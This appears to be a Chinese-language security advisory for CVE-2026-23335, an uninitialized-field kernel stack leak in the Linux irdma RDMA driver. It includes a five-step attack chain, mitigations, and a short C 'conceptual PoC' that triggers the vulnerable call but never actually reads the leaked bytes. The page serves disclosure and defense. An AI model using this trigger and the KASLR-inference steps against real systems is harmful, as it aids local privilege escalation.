IPBUF安全漏洞报告
English
CVE-2026-23335 CVSS 5.5 中危

CVE-2026-23335 Linux内核信息泄露漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23335
漏洞类型
信息泄露
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

信息泄露Linux内核RDMA栈泄露本地漏洞

漏洞概述

Linux内核中的RDMA/irdma驱动存在一处信息泄露漏洞。在`irdma_create_user_ah()`函数处理用户请求时,响应结构体`irdma_create_ah_resp`的保留字段`rsvd[4]`未被初始化。这导致内核在将数据通过`ib_respond_udata()`回传给用户空间的过程中,无条件泄露了4字节的内核栈内存。本地低权限攻击者可利用此缺陷读取内核敏感数据,可能辅助绕过安全防御机制。

技术细节

该漏洞位于Linux内核的drivers/infiniband/hw/irdma路径下,具体触发函数为`irdma_create_user_ah`。该函数负责创建用户态地址句柄(AH),并向用户空间返回操作结果。返回结构体`irdma_create_ah_resp`包含一个32位的`ah_id`和一个4字节的`rsvd`保留数组。源码显示,在发送响应前,代码仅执行了`uresp.ah_id = ah->sc_ah.ah_info.ah_idx`赋值操作,而未对`rsvd`字段执行`memset`清零或显式赋值。因此,该字段保留了栈上原有的未初始化数据。当内核调用`ib_copy_to_udata`或类似接口将结构体拷贝回用户态时,这4字节的栈数据(可能包含内核指针、旧密钥片段等)直接泄露给攻击者。攻击者可通过编写特制程序,反复调用该接口并收集泄露数据,结合其他侧信道技术,推断内核地址空间布局随机化(KASLR)基址或获取其他敏感上下文信息,从而为后续的本地提权攻击奠定基础。

攻击链分析

STEP 1
步骤1
攻击者在本地获得低权限访问,并确认目标系统运行受影响的Linux内核版本且加载了irdma驱动。
STEP 2
步骤2
攻击者编写或使用可操作RDMA设备的程序,调用`ibv_create_ah`接口,该调用最终会触发内核中的`irdma_create_user_ah`函数。
STEP 3
步骤3
内核执行`irdma_create_user_ah`,在构建响应结构体`irdma_create_ah_resp`时,仅初始化了`ah_id`,未清零`rsvd`字段。
STEP 4
步骤4
内核将包含4字节未初始化栈内存的响应结构体拷贝回用户空间。
STEP 5
步骤5
攻击者读取返回的数据包或缓冲区,提取泄露的4字节内核栈数据,用于分析内核地址布局。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <infiniband/verbs.h> // Conceptual Proof of Concept for CVE-2026-23335 // Requires a system with RDMA/irdma hardware and driver loaded. int main() { struct ibv_context *ctx; struct ibv_pd *pd; struct ibv_ah *ah; struct ibv_ah_attr attr = {0}; int num_devices; struct ibv_device **device_list; // 1. Get the list of RDMA devices device_list = ibv_get_device_list(&num_devices); if (!device_list || num_devices == 0) { fprintf(stderr, "No RDMA devices found.\n"); return 1; } // 2. Open the first device ctx = ibv_open_device(device_list[0]); if (!ctx) { fprintf(stderr, "Failed to open device.\n"); return 1; } // 3. Allocate Protection Domain pd = ibv_alloc_pd(ctx); if (!pd) { fprintf(stderr, "Failed to allocate PD.\n"); ibv_close_device(ctx); return 1; } // 4. Prepare AH attributes // Note: Valid port_num and other attributes depend on hardware configuration attr.port_num = 1; attr.is_global = 0; // 5. Create Address Handle (AH) // This triggers the vulnerable irdma_create_user_ah function ah = ibv_create_ah(pd, &attr); if (!ah) { perror("Failed to create AH"); // Check errno for details } else { printf("AH created successfully.\n"); printf("Kernel stack memory may have been leaked in the response buffer.\n"); ibv_destroy_ah(ah); } // Cleanup ibv_dealloc_pd(pd); ibv_close_device(ctx); ibv_free_device_list(device_list); return 0; }

影响范围

Linux Kernel (具体受影响版本请参考Git提交记录)

防御指南

临时缓解措施
建议立即更新Linux内核以修复此漏洞。如果无法立即升级,可以采取以下缓解措施:1. 限制对/dev/infiniband相关设备的访问,防止普通用户调用RDMA接口;2. 禁用irdma内核模块(如果业务不需要);3. 使用SELinux或其他MAC机制进一步约束进程权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表